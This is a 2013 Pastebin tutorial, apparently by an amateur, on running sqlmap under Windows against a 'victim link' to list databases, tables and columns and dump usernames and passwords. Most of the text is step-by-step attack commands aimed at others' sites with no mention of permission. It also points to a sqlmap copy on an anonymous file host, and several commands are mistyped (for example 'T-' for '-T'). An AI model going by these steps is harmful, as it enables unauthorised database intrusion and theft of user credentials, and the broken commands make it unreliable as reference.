Advertisement
striker123

SQL map tuts for windows

May 27th, 2013
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.94 KB | None | 0 0
  1. Sqlmap Tutorial For Window 7/ Windows Vista/
  2.  
  3.  
  4. Today im gonna teach you about sqlmap on windows 7
  5.  
  6. -----------------------------------------------------------------------------------------------------------
  7.  
  8. What do you need?
  9. [python download for windows]
  10. http://www.activestate.com/activepython/downloads
  11.  
  12. [Sqlmap windows]
  13. https://anonfiles.com/file/940b85380aa870641683822972540d63
  14.  
  15. First.. After you download and install python you must download Sqlmap for windows
  16. After download it .. [Sqlmap Windows]
  17. extract the file in Drive C
  18.  
  19. -----------------------------------------------------------------------------------------------------------
  20.  
  21. After that open your Command Prompt (CMD)
  22. Type cd\
  23. And then press ENTER
  24. Type cd sqlmap\
  25. And Enter
  26.  
  27. http://i42.tinypic.com/avlf75.jpg
  28.  
  29. Copy your victim link
  30. And type to cmd like this
  31.  
  32. sqlmap.py -u http://yoursite.com/index.php?id=123 --dbs
  33.  
  34. Replace http://yoursite.com/index.php?id=123 to your link target
  35. Enter!
  36.  
  37. -----------------------------------------------------------------------------------------------------------
  38.  
  39. The injected site will show the Database
  40. My testing site http://site.com/gallery.php?id=7
  41. Example Database Shown Is : lala_db
  42. information_schema
  43.  
  44. If you want choose any database
  45. you must do like shown above
  46. sqlmap.py -u http://site.com/index.php?id=123=7 -dbs databasename example "lalala"
  47.  
  48. -----------------------------------------------------------------------------------------------------------
  49.  
  50. -D (for Database)
  51. databasename for example i put 'lala_db' for get the table
  52. So my site will like this
  53.  
  54. sqlmap.py -u http://site.com/index.php?id=1 -D database_name --tables
  55.  
  56. For your site
  57. --> sqlmap.py -u http://ssite.com/index.php?id=1 -D databasename --tables
  58. Press Enter!
  59.  
  60. you will get a lot of tables
  61. such as
  62.  
  63. [ users ]
  64. [ category ]
  65. [ links ]
  66.  
  67. from the tables , choose one of your target to get Username and Password
  68.  
  69. then your code in cmd will be like this
  70.  
  71. sqlmap.py -u http://site.com/index.php?id=1 -D database -T your target tables
  72.  
  73. My code in cmd will shown like
  74. sqlmap.py -u http://site.com/index.php?id=1 -D databasename -T users
  75.  
  76. -----------------------------------------------------------------------------------------------------------
  77.  
  78. Alright , we go to the next
  79. what you must do is to get column
  80. just add --columns after your code
  81. it will be show like this
  82.  
  83. sqlmap.py -u http://site.com/index.php?id=1 -D databasename T- your target tables --columns
  84.  
  85. Example :
  86. sqlmap.py -u http://site.com/index.php?id=1 -D database T- users --columns
  87.  
  88. -----------------------------------------------------------------------------------------------------------
  89.  
  90. The tables will show the columns
  91. such as users contain :
  92.  
  93. [ email ]
  94. [ id ]
  95. [ name ]
  96. [ username ]
  97. [ password ]
  98.  
  99. what you must to do is
  100. adding -C username --dump behind
  101.  
  102. example :
  103.  
  104. sqlmap.py -u http://site.com/index.php?id=1 -D database -T users -C username --dump
  105.  
  106. Yes you get it
  107. Username is : blablabla
  108.  
  109. then do the same thing , but this to get 'password'
  110. Example :
  111. sqlmap.py -u http://site.com/index.php?id=1 -D database T- users -C password --dump
  112.  
  113. The password is : blablabla
  114.  
  115. -----------------------------------------------------------------------------------------------------------
  116. Warning! : If you get the database , tables and columns
  117. '' -- '' this string must be a one
  118. such as like this
  119.  
  120. from database
  121. --> after injected
  122. --> the database are showed
  123.  
  124. the word database and the double string ( -- )
  125. will be change
  126. it will be like -D
  127. the word database will short and be D
  128. the word D must be a big word
  129.  
  130. -T / -C
  131.  
  132. ( --dump ) do not change this string
  133.  
  134. After the big word such as -D
  135. You must give one space
  136.  
  137. ---> -D database
  138.  
  139. -----------------------------------------------------------------------------------------------------------
  140.  
  141. THE END !
  142. Like this page :)
  143. https://www.facebook.com/Str1.k3r.gov
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement